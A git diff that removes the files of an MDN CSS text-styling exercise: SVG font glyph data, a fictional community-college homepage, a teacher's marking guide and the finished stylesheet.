-                d="M72 0v162h155v444h-135v162h285v-18q4 -49 7 -89t7 -90q41 98 132 156.5t202 58.5q121 0 190.5 -63.5t73.5 -165.5v-395h127v-162h-454v162h157v317q-4 55 -40 95t-113 44q-53 0 -101.5 -18t-85.5 -51t-59.5 -78t-22.5 -98v-211h129v-162h-454zM260 940q2 41 20.5 75 t45 57.5t58 35.5t62.5 12q47 0 85 -18t73 -49q31 -33 54.5 -43t51.5 -10q14 0 32 4t34 14t27.5 28.5t15.5 47.5l92 -6q-2 -41 -20.5 -75t-45 -56.5t-58.5 -34.5t-62 -12q-47 0 -85 18t-73 47q-31 33 -54.5 43t-51.5 10q-29 0 -66 -18.5t-43 -75.5z"
-            />
-<glyph
-                unicode="&#xf2;"
-                horiz-adv-x="964"
-                d="M72 385q0 82 31.5 155.5t87 128t130 86t160.5 31.5t162 -31.5t131 -86t87 -128t32 -155.5q0 -84 -32 -156.5t-87 -128t-131 -87t-162 -31.5t-160.5 31.5t-130 87t-87 128t-31.5 156.5zM160 1253h172q47 -68 92 -136t92 -136h-121q-59 68 -117.5 136.5t-117.5 135.5z M242 383q0 -49 18.5 -92t50 -75t74.5 -50.5t92 -18.5t92 18.5t76 50.5t51.5 75t18.5 92t-18.5 92t-51.5 76t-76 51.5t-92 18.5t-92 -18.5t-74.5 -51.5t-50 -76t-18.5 -92z"
-            />
-<glyph
-                unicode="&#xf3;"
-                horiz-adv-x="964"
-                d="M72 385q0 82 31.5 155.5t87 128t130 86t160.5 31.5t162 -31.5t131 -86t87 -128t32 -155.5q0 -84 -32 -156.5t-87 -128t-131 -87t-162 -31.5t-160.5 31.5t-130 87t-87 128t-31.5 156.5zM242 383q0 -49 18.5 -92t50 -75t74.5 -50.5t92 -18.5t92 18.5t76 50.5t51.5 75 t18.5 92t-18.5 92t-51.5 76t-76 51.5t-92 18.5t-92 -18.5t-74.5 -51.5t-50 -76t-18.5 -92zM473 981q47 68 92 136.5t92 135.5h172q-59 -68 -117.5 -136t-117.5 -136h-121z"
-            />
-<glyph
-                unicode="&#xf4;"
-                horiz-adv-x="964"
-                d="M72 385q0 82 31.5 155.5t87 128t130 86t160.5 31.5t162 -31.5t131 -86t87 -128t32 -155.5q0 -84 -32 -156.5t-87 -128t-131 -87t-162 -31.5t-160.5 31.5t-130 87t-87 128t-31.5 156.5zM235 981q61 92 123 185.5t123 185.5q61 -92 122.5 -185.5t123.5 -185.5h-121 q-31 37 -62.5 74t-62.5 73q-31 -37 -62.5 -73.5t-62.5 -73.5h-121zM242 383q0 -49 18.5 -92t50 -75t74.5 -50.5t92 -18.5t92 18.5t76 50.5t51.5 75t18.5 92t-18.5 92t-51.5 76t-76 51.5t-92 18.5t-92 -18.5t-74.5 -51.5t-50 -76t-18.5 -92z"
-            />
-<glyph
-                unicode="&#xf5;"
-                horiz-adv-x="964"
-                d="M72 385q0 82 31.5 155.5t87 128t130 86t160.5 31.5t162 -31.5t131 -86t87 -128t32 -155.5q0 -84 -32 -156.5t-87 -128t-131 -87t-162 -31.5t-160.5 31.5t-130 87t-87 128t-31.5 156.5zM168 950q2 41 20.5 75t45 57.5t58 35.5t62.5 12q47 0 85 -18t73 -49q31 -33 54.5 -43 t51.5 -10q14 0 32 4t34 14t27.5 28.5t15.5 47.5l92 -6q-2 -41 -20.5 -75t-45 -56.5t-58.5 -34.5t-62 -12q-47 0 -85 18t-73 47q-31 33 -54.5 43t-51.5 10q-29 0 -66 -18.5t-43 -75.5zM242 383q0 -49 18.5 -92t50 -75t74.5 -50.5t92 -18.5t92 18.5t76 50.5t51.5 75t18.5 92 t-18.5 92t-51.5 76t-76 51.5t-92 18.5t-92 -18.5t-74.5 -51.5t-50 -76t-18.5 -92z"
-            />
-<glyph
-                unicode="&#xf6;"
-                horiz-adv-x="964"
-                d="M72 385q0 82 31.5 155.5t87 128t130 86t160.5 31.5t162 -31.5t131 -86t87 -128t32 -155.5q0 -84 -32 -156.5t-87 -128t-131 -87t-162 -31.5t-160.5 31.5t-130 87t-87 128t-31.5 156.5zM206 1065q0 47 33 78t74 31q39 0 71.5 -31t32.5 -78t-32.5 -77t-71.5 -30 q-41 0 -74 30t-33 77zM242 383q0 -49 18.5 -92t50 -75t74.5 -50.5t92 -18.5t92 18.5t76 50.5t51.5 75t18.5 92t-18.5 92t-51.5 76t-76 51.5t-92 18.5t-92 -18.5t-74.5 -51.5t-50 -76t-18.5 -92zM546 1065q0 47 33 78t74 31q39 0 71.5 -31t32.5 -78t-32.5 -77t-71.5 -30 q-41 0 -74 30t-33 77z"
-            />
-<glyph
-                unicode="&#xf7;"
-                horiz-adv-x="1026"
-                d="M139 422v166h738v-166h-738zM408 252q0 47 32.5 77.5t73.5 30.5q39 0 71.5 -30.5t32.5 -77.5t-32.5 -77t-71.5 -30q-41 0 -73.5 30t-32.5 77zM408 764q0 47 32.5 77.5t73.5 30.5q39 0 71.5 -30.5t32.5 -77.5t-32.5 -77t-71.5 -30q-41 0 -73.5 30t-32.5 77z"
-            />
-<glyph
-                unicode="&#xf8;"
-                horiz-adv-x="964"
-                d="M72 385q0 82 31.5 155.5t87 128t130 86t160.5 31.5q115 0 205 -53q18 23 37.5 44.5t38.5 43.5q23 -20 46 -40.5t46 -41.5q-16 -20 -34.5 -40.5t-35.5 -41.5q51 -53 80 -123.5t29 -148.5q0 -84 -32 -156.5t-87 -128t-131 -87t-162 -31.5q-63 0 -119.5 17t-103.5 48 q-23 -25 -43 -50.5t-43 -49.5q-23 20 -47.5 38.5t-46.5 39.5q23 27 44 51t44 51q-45 53 -69.5 118.5t-24.5 139.5zM242 385q0 -72 34 -129q76 88 150 174t149 174q-45 16 -94 17q-106 0 -172.5 -67t-66.5 -169zM367 174q53 -27 114 -27q106 0 173 69t67 169q0 41 -12.5 79 t-34.5 66z"
-            />
-<glyph
-                unicode="&#xf9;"
-                horiz-adv-x="1167"
-                d="M72 606v162h305v-479q4 -55 40 -95t113 -44q53 0 101.5 18t85.5 51t59.5 78t22.5 98v211h-135v162h305v-625h127v-143h-297v104l6 93q-41 -98 -132 -156.5t-202 -58.5q-121 0 -190.5 63.5t-73.5 165.5v395h-135zM258 1253h172q47 -68 92 -136t92 -136h-121 q-59 68 -117.5 136.5t-117.5 135.5z"
-            />
-<glyph
-                unicode="&#xfa;"
-                horiz-adv-x="1167"
-                d="M72 606v162h305v-479q4 -55 40 -95t113 -44q53 0 101.5 18t85.5 51t59.5 78t22.5 98v211h-135v162h305v-625h127v-143h-297v104l6 93q-41 -98 -132 -156.5t-202 -58.5q-121 0 -190.5 63.5t-73.5 165.5v395h-135zM473 981q47 68 92 136.5t92 135.5h172 q-59 -68 -117.5 -136t-117.5 -136h-121z"
-            />
-<glyph
-                unicode="&#xfb;"
-                horiz-adv-x="1167"
-                d="M72 606v162h305v-479q4 -55 40 -95t113 -44q53 0 101.5 18t85.5 51t59.5 78t22.5 98v211h-135v162h305v-625h127v-143h-297v104l6 93q-41 -98 -132 -156.5t-202 -58.5q-121 0 -190.5 63.5t-73.5 165.5v395h-135zM299 981q61 92 123 185.5t123 185.5q61 -92 122.5 -185.5 t123.5 -185.5h-121q-31 37 -62.5 74t-62.5 73q-31 -37 -62.5 -73.5t-62.5 -73.5h-121z"
-            />
-<glyph
-                unicode="&#xfc;"
-                horiz-adv-x="1167"
-                d="M72 606v162h305v-479q4 -55 40 -95t113 -44q53 0 101.5 18t85.5 51t59.5 78t22.5 98v211h-135v162h305v-625h127v-143h-297v104l6 93q-41 -98 -132 -156.5t-202 -58.5q-121 0 -190.5 63.5t-73.5 165.5v395h-135zM262 1065q0 47 33 78t74 31q39 0 71.5 -31t32.5 -78 t-32.5 -77t-71.5 -30q-41 0 -74 30t-33 77zM602 1065q0 47 33 78t74 31q39 0 71.5 -31t32.5 -78t-32.5 -77t-71.5 -30q-41 0 -74 30t-33 77z"
-            />
-<glyph
-                unicode="&#xfd;"
-                horiz-adv-x="1263"
-                d="M72 606v162h454v-162h-108q59 -113 118.5 -226.5t98.5 -227.5q39 115 97.5 228.5t117.5 225.5h-127v162h469v-162h-168q-121 -242 -240.5 -478.5t-240.5 -477.5h100v-162h-455v162h185q43 88 87 176t89 174q-78 154 -152.5 303.5t-152.5 302.5h-172zM611 981 q47 68 92 136.5t92 135.5h172q-59 -68 -117.5 -136t-117.5 -136h-121z"
-            />
-<glyph
-                unicode="&#xfe;"
-                horiz-adv-x="1044"
-                d="M33 -350h157v1724h-157v162h454v-162h-127v-637q-4 -16 -10 -31.5t-10 -31.5q2 6 23.5 24.5t56.5 37t81 32.5t99 14q86 0 162 -31.5t131 -87t87 -128t32 -152.5q0 -82 -32 -154.5t-87 -128t-131 -87t-162 -31.5q-57 0 -102 12t-78 27.5t-52.5 32t-25.5 24.5 q4 -10 9 -19.5t9 -19.5v-389h168v-162h-495v162zM360 385q0 -100 67 -169t173 -69t173 69t67 169q0 102 -66.5 169t-173.5 67q-106 0 -173 -67t-67 -169z"
-            />
-<glyph
-                unicode="&#xff;"
-                horiz-adv-x="1263"
-                d="M72 606v162h454v-162h-108q59 -113 118.5 -226.5t98.5 -227.5q39 115 97.5 228.5t117.5 225.5h-127v162h469v-162h-168q-121 -242 -240.5 -478.5t-240.5 -477.5h100v-162h-455v162h185q43 88 87 176t89 174q-78 154 -152.5 303.5t-152.5 302.5h-172zM362 1065q0 47 33 78 t74 31q39 0 71.5 -31t32.5 -78t-32.5 -77t-71.5 -30q-41 0 -74 30t-33 77zM702 1065q0 47 33 78t74 31q39 0 71.5 -31t32.5 -78t-32.5 -77t-71.5 -30q-41 0 -74 30t-33 77z"
-            />
-<glyph unicode="&#x2000;" horiz-adv-x="954" />
-<glyph unicode="&#x2001;" horiz-adv-x="1909" />
-<glyph unicode="&#x2002;" horiz-adv-x="954" />
-<glyph unicode="&#x2003;" horiz-adv-x="1909" />
-<glyph unicode="&#x2004;" horiz-adv-x="636" />
-<glyph unicode="&#x2005;" horiz-adv-x="477" />
-<glyph unicode="&#x2006;" horiz-adv-x="318" />
-<glyph unicode="&#x2007;" horiz-adv-x="318" />
-<glyph unicode="&#x2008;" horiz-adv-x="238" />
-<glyph unicode="&#x2009;" horiz-adv-x="381" />
-<glyph unicode="&#x200a;" horiz-adv-x="106" />
-<glyph unicode="&#x2010;" horiz-adv-x="614" d="M109 301v166h376v-166h-376z" />
-<glyph unicode="&#x2011;" horiz-adv-x="614" d="M109 301v166h376v-166h-376z" />
-<glyph unicode="&#x2012;" horiz-adv-x="614" d="M109 301v166h376v-166h-376z" />
-<glyph unicode="&#x2013;" horiz-adv-x="1042" d="M205 356v166h616v-166h-616z" />
-<glyph unicode="&#x2014;" horiz-adv-x="1433" d="M203 356v166h1028v-166h-1028z" />
-<glyph
-                unicode="&#x2018;"
-                horiz-adv-x="335"
-                d="M63 1456q27 -4 53.5 -7t53.5 -7q-14 -72 5.5 -132.5t62.5 -101.5q-23 -12 -42.5 -24.5t-41.5 -24.5q-57 57 -82 134t-9 163z"
-            />
-<glyph
-                unicode="&#x2019;"
-                horiz-adv-x="335"
-                d="M72 1208q43 41 62.5 101.5t4.5 132.5q27 4 53.5 7t53.5 7q16 -86 -8.5 -163t-81.5 -134q-23 12 -42.5 24.5t-41.5 24.5z"
-            />
-<glyph unicode="&#x201a;" horiz-adv-x="299" d="M39 -59q43 41 62.5 101t4.5 132q27 4 53.5 7t53.5 7q16 -86 -8.5 -163t-81.5 -134q-23 12 -42.5 24.5t-41.5 25.5z" />
-<glyph
-                unicode="&#x201c;"
-                horiz-adv-x="509"
-                d="M63 1456q27 -4 53.5 -7t53.5 -7q-14 -72 5.5 -132.5t62.5 -101.5q-23 -12 -42.5 -24.5t-41.5 -24.5q-57 57 -82 134t-9 163zM276 1456q27 -4 53.5 -7t53.5 -7q-14 -72 5.5 -132.5t62.5 -101.5q-23 -12 -42.5 -24.5t-41.5 -24.5q-57 57 -82 134t-9 163z"
-            />
-<glyph
-                unicode="&#x201d;"
-                horiz-adv-x="507"
-                d="M23 1208q43 41 62 101.5t5 132.5q27 4 53.5 7t53.5 7q16 -86 -9 -163t-82 -134q-23 12 -42 24.5t-41 24.5zM236 1208q43 41 62 101.5t5 132.5q27 4 53.5 7t53.5 7q16 -86 -9 -163t-82 -134q-23 12 -42 24.5t-41 24.5z"
-            />
-<glyph
-                unicode="&#x201e;"
-                horiz-adv-x="698"
-                d="M39 -59q43 41 62.5 101t4.5 132q27 4 53.5 7t53.5 7q16 -86 -8.5 -163t-81.5 -134q-23 12 -42.5 24.5t-41.5 25.5zM252 -59q43 41 62.5 101t4.5 132q27 4 53.5 7t53.5 7q16 -86 -8.5 -163t-81.5 -134q-23 12 -42.5 24.5t-41.5 25.5z"
-            />
-<glyph
-                unicode="&#x2022;"
-                horiz-adv-x="980"
-                d="M231 614q0 55 20.5 102.5t55.5 83.5t82 56.5t100 20.5q55 0 102.5 -20.5t83.5 -56.5t56.5 -83t20.5 -103q0 -55 -20.5 -102t-56.5 -82t-83 -54.5t-103 -19.5q-53 0 -100 19.5t-82 54.5t-55.5 82t-20.5 102z"
-            />
-<glyph unicode="&#x202f;" horiz-adv-x="381" />
-<glyph unicode="&#x2039;" horiz-adv-x="802" d="M240 489q88 84 175 165t175 165v-194q-35 -35 -66.5 -68t-66.5 -68q35 -35 66.5 -68.5t66.5 -68.5v-194z" />
-<glyph unicode="&#x203a;" horiz-adv-x="802" d="M239 158l350 331q-88 84 -175 165t-175 165v-194q35 -35 66.5 -68t66.5 -68q-35 -35 -66.5 -68.5t-66.5 -68.5v-194z" />
-<glyph unicode="&#x205f;" horiz-adv-x="477" />
-<glyph unicode="&#x25fc;" horiz-adv-x="768" d="M0 0v768h768v-768h-768z" />
-</font>
-</defs></svg>
diff --git a/docs/content/learning-area/css/styling-text/typesetting-a-homepage-finished/fonts/josefinslab-bold-webfont.ttf b/docs/content/learning-area/css/styling-text/typesetting-a-homepage-finished/fonts/josefinslab-bold-webfont.ttf
deleted file mode 100644
index 0290f53f3c..0000000000
Binary files a/docs/content/learning-area/css/styling-text/typesetting-a-homepage-finished/fonts/josefinslab-bold-webfont.ttf and /dev/null differ
diff --git a/docs/content/learning-area/css/styling-text/typesetting-a-homepage-finished/fonts/josefinslab-bold-webfont.woff b/docs/content/learning-area/css/styling-text/typesetting-a-homepage-finished/fonts/josefinslab-bold-webfont.woff
deleted file mode 100644
index 3565fc0bd7..0000000000
Binary files a/docs/content/learning-area/css/styling-text/typesetting-a-homepage-finished/fonts/josefinslab-bold-webfont.woff and /dev/null differ
diff --git a/docs/content/learning-area/css/styling-text/typesetting-a-homepage-finished/fonts/josefinslab-bold-webfont.woff2 b/docs/content/learning-area/css/styling-text/typesetting-a-homepage-finished/fonts/josefinslab-bold-webfont.woff2
deleted file mode 100644
index 4442c7ab43..0000000000
Binary files a/docs/content/learning-area/css/styling-text/typesetting-a-homepage-finished/fonts/josefinslab-bold-webfont.woff2 and /dev/null differ
diff --git a/docs/content/learning-area/css/styling-text/typesetting-a-homepage-finished/index.html b/docs/content/learning-area/css/styling-text/typesetting-a-homepage-finished/index.html
deleted file mode 100644
index 91a686d88b..0000000000
--- a/docs/content/learning-area/css/styling-text/typesetting-a-homepage-finished/index.html
+++ /dev/null
@@ -1,88 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>St Huxley's Community College</title>
-        <link href="style.css" type="text/css" rel="stylesheet" />
-    </head>
-
-    <body>
-        <header>
-            <h1>St Huxley's Community College</h1>
-        </header>
-
-        <section>
-            <h2>Brave new world</h2>
-
-            <p>
-                It's a brave new world out there. Our children are being put in increasing more competitive situations, both during recreation, and as they
-                start to move into the adult world of <a href="https://en.wikipedia.org/wiki/Examination">examinations</a>,
-                <a href="https://en.wikipedia.org/wiki/Jobs">jobs</a>, <a href="https://en.wikipedia.org/wiki/Career">careers</a>, and other life choices.
-                Having the wrong mindset, becoming <a href="https://en.wikipedia.org/wiki/Emotion">too emotional</a>, or making the wrong choices can contribute
-                to them experiencing difficulty in taking their rightful place in today's ideal society.
-            </p>
-
-            <p>
-                As concerned parents, guardians or carers, you will no doubt want to give your children the best possible start in life — and you've come to the
-                right place.
-            </p>
-
-            <h2>The best start in life</h2>
-
-            <p>
-                At St. Huxley's, we pride ourselves in not only giving our students a top quality education, but also giving them the societal and emotional
-                intelligence they need to win big in the coming utopia. We not only excel at subjects such as genetics, data mining, and chemistry, but we also
-                include compulsory lessons in:
-            </p>
-
-            <ul>
-                <li>Emotional control</li>
-                <li>Judgement</li>
-                <li>Assertion</li>
-                <li>Focus and resolve</li>
-            </ul>
-
-            <p>If you are interested, then you next steps will likely be to:</p>
-
-            <ol>
-                <li><a href="#">Call us</a> for more information</li>
-                <li><a href="#">Ask for a brochure</a>, which includes signup form</li>
-                <li><a href="#">Book a visit</a>!</li>
-            </ol>
-        </section>
-
-        <aside>
-            <h2>Top course choices</h2>
-
-            <ul>
-                <li><a href="#">Genetic engineering</a></li>
-                <li><a href="#">Genetic mutation</a></li>
-                <li><a href="#">Organic Chemistry</a></li>
-                <li><a href="#">Pharmaceuticals</a></li>
-                <li><a href="#">Biochemistry with behaviour</a></li>
-                <li><a href="#">Pure biochemistry</a></li>
-                <li><a href="#">Data mining</a></li>
-                <li><a href="#">Computer security</a></li>
-                <li><a href="#">Bioinformatics</a></li>
-                <li><a href="#">Cybernetics</a></li>
-            </ul>
-
-            <p><a href="#">See more</a></p>
-        </aside>
-
-        <nav>
-            <ul>
-                <li><a href="#">Home</a></li>
-                <li><a href="#">Finding us</a></li>
-                <li><a href="#">Courses</a></li>
-                <li><a href="#">Staff</a></li>
-                <li><a href="#">Media</a></li>
-                <li><a href="#">Prospectus</a></li>
-            </ul>
-        </nav>
-
-        <footer>
-            <p>&copy; 2016 St Huxley's Community College</p>
-        </footer>
-    </body>
-</html>
diff --git a/docs/content/learning-area/css/styling-text/typesetting-a-homepage-finished/marking-guide.md b/docs/content/learning-area/css/styling-text/typesetting-a-homepage-finished/marking-guide.md
deleted file mode 100644
index 1644e369e2..0000000000
--- a/docs/content/learning-area/css/styling-text/typesetting-a-homepage-finished/marking-guide.md
+++ /dev/null
@@ -1,86 +0,0 @@
-# Marking guide for "Typesetting a community school homepage"
-
-The following guide outlines a marking guide for the MDN Learning Area HTML Topic — [Typesetting a community school homepage](https://developer.mozilla.org/en-US/Learn/CSS/Introduction_to_CSS/Fundamental_CSS_comprehension). Each subtask detailed in the assessment is listed below, along with an explanation of how many marks the task is worth, and the mark breakdown.
-
-Note: These are guidelines, not set in stone rules — you are of course free to use your judgement on mark awarding when you meet an edge case, or something that isn't clear cut.
-
-The overall mark awarded is out of 40. Work out their final mark, and then divide by 40 and multiply by 100 to give a percentage mark. For reference, you can find a [finished typeset homepage](index.html) that would be awarded top marks.
-
-## Fonts
-
-<dl>
-<dt>"download a couple of free-to-use fonts" (3 marks)</dt>
-<dd>the student will get one mark for the suitability of each of the two fonts (the description in the question says "the fonts should be chosen to give the page a fairly serious, formal, trustworthy feel — a serif side-wide font for the general text body, coupled with sans-serif or slab serif for the headings might be nice.") and one mark for the fonts being ok to use.</dd>
-<dt>"Use a suitable service to generate bulletproof <code>@font-face</code> code" (2 marks)</dt>
-<dd>The student will get the marks by using a service like fontsquirrel's generator to create bulletproof <code>@font-face</code> code. You can check it against the example linked above. If it is not cross-browser, or fails to apply the fonts, then they get no marks.</dd>
-<dt>"Apply your body font to the whole page, and your heading font to your headings." (3 marks)</dt>
-<dd>The body font should be applied to the <code>&lt;html&gt;</code> element, and the heading font should be applied only to <code>&lt;h1&gt;</code> and <code>&lt;h2&gt;</code>. One mark for each. Also, one bonus mark for providing something of a fallback for each in a font stack, and not just a single font.</dd>
-</dl>
-
-## General text styling
-
-<dl>
-<dt>"Give the page a site-wide <code>font-size</code> of 10px" (1 mark)</dt>
-<dd><code>font-size: 10px;</code> should be applied to the <code>&lt;html&gt;</code> element.</dd>
-<dt>"Give your headings and other element types appropriate font-sizes defined using a suitable relative unit." (3 marks)</dt>
-<dd>Award between 0 and 2 marks for the sizing, depending on how well thought out it looks. Also award one mark if a sensible relative unit such as em or rem is used.</dd>
-<dt>"Give your body text a suitable <code>line-height</code>." (1 mark)</dt>
-<dd>Between about 1.4 and 1.6 is ideal, and will get the mark.</dd>
-<dt>"Center your top level heading on the page." (1 mark)</dt>
-<dd>Setting <code>text-align: center;</code> on the <code>h1</code> will get the mark. Flexbox would also do. Anything else is probably too convoluted to get the mark.</dd>
-<dt>"Give your headings a little bit of <code>letter-spacing</code>..." (1 mark)</dt>
-<dd>Generally something small like 1 or 2 pixels (0.1 or 0.2 rem) will work ok, depending on the font.</dd>
-<dt>"Give your body text some letter-spacing and word-spacing, as appropriate." (1 mark)</dt>
-<dd>About 0.5 or 1 pixel of letter spacing and about 3px of word spacing will look ok to help the text breathe a bit, depending on the font.</dd>
-<dt>"Give the first paragraph after each heading in the <code>&lt;section&gt;</code> a little bit of text-indentation, say 20px." (2 marks)</dt>
-<dd>A good little test of selector and background knowledge. The selector should be <code>h2 + p</code>, and the declaration used should be <code>text-indent: 20px;</code>. One mark for each.</dd>
-</dl>
-
-## Links
-
-<dl>
-<dt>"Give the link, visited, focus, and hover states some colors that go with the color of the horizontal bars at the top and bottom of the page." (3 marks)</dt>
-<dd>The link state rules should be laid out in the proper order of <code>a</code>, <code>a:link</code>, <code>a:visited</code>, <code>a:focus</code>, <code>a:hover</code>, and <code>a:active</code> to get the first mark. For the second mark, make the link and visited states have a color that goes with the page. For the third mark, make the focus AND hover states have a different color, or you could even just give them the same color, because of the next instruction. It is acceptable for link and visited to have the same styling, and focus and hover.</dd>
-<dt>"Make it so that links are underlined by default, but when you hover or focus them, the underline disappears." (2 marks)</dt>
-<dd>The links will have <code>text-decoration: underline</code> set by default. You could just set <code>text-decoration: none;</code> on the focus and hover states. The method of using <code>border-bottom</code> is also acceptable.</dd>
-<dt>"Remove the default focus outline from ALL the links on the page." (1 mark)</dt>
-<dd>You just need to set <code>outline: none</code> on all links (<code>a</code>).</dd>
-<dt>"Give the active state a noticeably different styling so it stands out nicely, but make it still fit in with the overall page design." (2 marks)</dt>
-<dd>they can get one mark for something totally crazy that stands out, or two marks for something tasteful that stands out.</dd>
-<dt>"Make it so that external links have the external link icon inserted next to them." (4 marks)</dt>
-<dd>This is worth four marks because it is fairly complex. They can get a mark each for:
-  <ul>
-    <li>Using asuitable attribute selector that only selects links containing "http" in their <code>href</code> attribute.</li>
-    <li>Including some padding to make way for the link to be displayed.</li>
-    <li>Including the correct <code>background-*</code> properties or <code>background</code> shorthand to place the background image, and to make it not repeat.</li>
-    <li>Including the <code>background-size</code> property to resize the icon to something appropriate dynamically, OR resizing it in an image editor to an appropriate size.</li>
-  </ul>
-</dd>
-</dl>
-
-## Lists
-
-<dl>
-<dt>"Make sure the spacing of your lists and list items works well with the styling of the overall page." (1 mark)</dt>
-<dd>This will basically work ok anyway, but one bonus mark is being awarded for students that set 16px (1.6rem) for the top and bottom margins of <code>&lt;ul&gt;</code> and <code>&lt;ol&gt;</code>. This is to make sure the spacing will always be correct, even if two lists were to be placed next to one another.</dd>
-<dt>"Give your list items a nice bullet, appropriate for the design of the page. It is up to you whether you choose a custom bullet image or something else." (1 mark)</dt>
-<dd>This is really up to the student: they can give <code>&lt;ul&gt;</code> and <code>&lt;ol&gt;</code> a simple <code>list-style-type</code> or something a bit more interesting; whatever they feel like.</dd>
-</dl>
-
-## Navigation menu
-
-<dl>
-<dt>"Style your navigation menu so that it has an appropriate look for the look and feel for the page." (8 marks)</dt>
-<dd>The mark award for this one question is quite high, because it is fairly complex and has multiple parts. Ideally, they should:
-  <ul>
-    <li>Start every selector with <code>nav</code> to make sure only the nav menu is affected.</li>
-    <li>Set the left padding on the <code>&lt;ul&gt;</code> to 0.</li>
-    <li>Set some top margin on the <code>&lt;ul&gt;</code> to bring the text of the top bullet in line with the headings on the other columns, and some bottom margin on the <code>&lt;li&gt;</code>s to space the menu items out a bit.</li>
-    <li>Set <code>list-style-type: none;</code> on the <code>&lt;li&gt;</code> to get rid of the bullets.</li>
-    <li>Make the links sizeable by setting them to <code>display: inline-block</code>.</li>
-    <li>Give the links appropriate styling to make them look nice and fit in with the style of the page. This could include center aligned text, line height, larger font size, color, border, whatever, as long as it looks ok.</li>
-    <li>Give the focus and hover states different styling so the nav menu responds when interacted with.</li>
-    <li>Give the active state a different style again, so it is obvious when a link becomes activated.</li>
-  </ul>
-</dd>
-</dl>
diff --git a/docs/content/learning-area/css/styling-text/typesetting-a-homepage-finished/style.css b/docs/content/learning-area/css/styling-text/typesetting-a-homepage-finished/style.css
deleted file mode 100644
index 5e644ddeb9..0000000000
--- a/docs/content/learning-area/css/styling-text/typesetting-a-homepage-finished/style.css
+++ /dev/null
@@ -1,194 +0,0 @@
-/* General setup */
-
-* {
-    box-sizing: border-box;
-}
-
-body {
-    margin: 0 auto;
-    min-width: 1000px;
-    max-width: 1400px;
-}
-
-/* Layout */
-
-section {
-    float: left;
-    width: 50%;
-}
-
-aside {
-    float: left;
-    width: 30%;
-}
-
-nav {
-    float: left;
-    width: 20%;
-}
-
-footer {
-    clear: both;
-}
-
-header,
-section,
-aside,
-nav,
-footer {
-    padding: 20px;
-}
-
-/* header and footer */
-
-header,
-footer {
-    border-top: 5px solid #a66;
-    border-bottom: 5px solid #a66;
-}
-
-/* WRITE YOUR CODE BELOW HERE */
-
-/* font imports */
-
-/*
-
-Lovato light font obtained from fontspring.com,
-originally created by Philatype
-See https://www.fontspring.com/fonts/philatype/lovato
-
-Josefin slab bold obtained from fontsquirrel.com,
-originally created by Typemade
-See https://www.fontsquirrel.com/fonts/josefin-slab
-
-*/
-
-@font-face {
-    font-family: 'lovatolight';
-    src: url('fonts/Lovato-Light-webfont.eot');
-    src: url('fonts/Lovato-Light-webfont.eot?#iefix') format('embedded-opentype'), url('fonts/Lovato-Light-webfont.woff2') format('woff2'),
-        url('fonts/Lovato-Light-webfont.woff') format('woff'), url('fonts/Lovato-Light-webfont.ttf') format('truetype'),
-        url('fonts/Lovato-Light-webfont.svg#lovatolight') format('svg');
-    font-weight: normal;
-    font-style: normal;
-}
-
-@font-face {
-    font-family: 'josefin_slabbold';
-    src: url('fonts/josefinslab-bold-webfont.eot');
-    src: url('fonts/josefinslab-bold-webfont.eot?#iefix') format('embedded-opentype'), url('fonts/josefinslab-bold-webfont.woff2') format('woff2'),
-        url('fonts/josefinslab-bold-webfont.woff') format('woff'), url('fonts/josefinslab-bold-webfont.ttf') format('truetype'),
-        url('fonts/josefinslab-bold-webfont.svg#josefin_slabbold') format('svg');
-    font-weight: normal;
-    font-style: normal;
-}
-
-/* typography stuff */
-
-html {
-    font-family: lovatolight, serif;
-    font-size: 10px;
-}
-
-h1,
-h2 {
-    font-family: josefin_slabbold, sans-serif;
-    letter-spacing: 2px;
-}
-
-h1 {
-    font-size: 5rem;
-    text-align: center;
-}
-
-h2 {
-    font-size: 3.2rem;
-}
-
-section h2 + p {
-    text-indent: 20px;
-}
-
-p,
-li {
-    font-size: 1.6rem;
-    line-height: 1.5;
-    letter-spacing: 0.5px;
-    word-spacing: 3px;
-}
-
-/* Link styling */
-
-a {
-    outline: none;
-}
-
-a[href*='http'] {
-    padding-right: 19px;
-    background: url(external-link-52.png) no-repeat 100% 0;
-    background-size: 16px 16px;
-}
-
-a:link,
-a:visited {
-    color: #a66;
-}
-
-a:focus,
-a:hover {
-    text-decoration: none;
-}
-
-a:active {
-    color: transparent;
-    text-shadow: 0px 0px 1px #f00, 0px 0px 2px #f00, 0px 0px 3px black, 0px 0px 4px black;
-}
-
-/* lists: extra margin top and bottom to make it
-always have the same spacing as with paragraphs */
-
-ul,
-ol {
-    margin: 1.6rem 0;
-}
-
-ul {
-    list-style-type: square;
-}
-
-ol {
-    list-style-type: lower-latin;
-}
-
-/* nav menu */
-
-nav ul {
-    padding-left: 0;
-    margin-top: 0.8rem;
-}
-
-nav li {
-    list-style-type: none;
-    margin-bottom: 2rem;
-}
-
-nav li a {
-    text-decoration: none;
-    display: inline-block;
-    width: 100%;
-    line-height: 3;
-    text-align: center;
-    font-size: 2.5rem;
-    border: 1px solid #a66;
-}
-
-nav li a:focus,
-nav li a:hover {
-    color: white;
-    background: #a66;
-}
-
-nav li a:active {
-    color: white;
-    background: black;
-}
diff --git a/docs/content/learning-area/css/styling-text/typesetting-a-homepage-start/index.html b/docs/content/learning-area/css/styling-text/typesetting-a-homepage-start/index.html
deleted file mode 100644
index b28b92b2a6..0000000000
--- a/docs/content/learning-area/css/styling-text/typesetting-a-homepage-start/index.html
+++ /dev/null
@@ -1,87 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>St Huxley's Community College</title>
-        <link href="style.css" type="text/css" rel="stylesheet" />
-    </head>
-    <body>
-        <header>
-            <h1>St Huxley's Community College</h1>
-        </header>
-
-        <section>
-            <h2>Brave new world</h2>
-
-            <p>
-                It's a brave new world out there. Our children are being put in increasing more competitive situations, both during recreation, and as they
-                start to move into the adult world of <a href="https://en.wikipedia.org/wiki/Examination">examinations</a>,
-                <a href="https://en.wikipedia.org/wiki/Jobs">jobs</a>, <a href="https://en.wikipedia.org/wiki/Career">careers</a>, and other life choices.
-                Having the wrong mindset, becoming <a href="https://en.wikipedia.org/wiki/Emotion">too emotional</a>, or making the wrong choices can contribute
-                to them experiencing difficulty in taking their rightful place in today's ideal society.
-            </p>
-
-            <p>
-                As concerned parents, guardians or carers, you will no doubt want to give your children the best possible start in life — and you've come to the
-                right place.
-            </p>
-
-            <h2>The best start in life</h2>
-
-            <p>
-                At St. Huxley's, we pride ourselves in not only giving our students a top quality education, but also giving them the societal and emotional
